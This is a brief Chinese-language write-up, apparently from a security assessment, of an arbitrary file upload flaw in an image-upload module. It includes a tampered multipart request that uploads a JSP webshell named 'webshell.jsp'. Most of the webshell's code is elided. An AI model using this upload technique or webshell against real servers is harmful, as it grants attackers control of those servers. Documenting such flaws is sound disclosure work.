任意文件上传漏洞

上传漏洞允许攻击者通过上传木马文件，直接获取web服务器的权限。图片上传模块存在任意文件上传漏洞，通过修改图片上传传输页面的数据包可以上传木马文件，并最终获取到服务器的权限，如下图所示。

 

 木马程序如下：

------WebKitFormBoundaryS5DF515w3dmuH4em

Content-Disposition: form-data; name="file"; filename="webshell.jsp"

Content-Type: text/html

<%@page pageEncoding="utf-8"%>

<%@page import="java.io.*"%>

<%@page import="java.util.*"%>

<%@page import="java.util.regex.*"%>

。。。。。。。。。此处代码省略。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

    bout.close();

    out.flush();

    ((Invoker) ins.get("bottom"))

<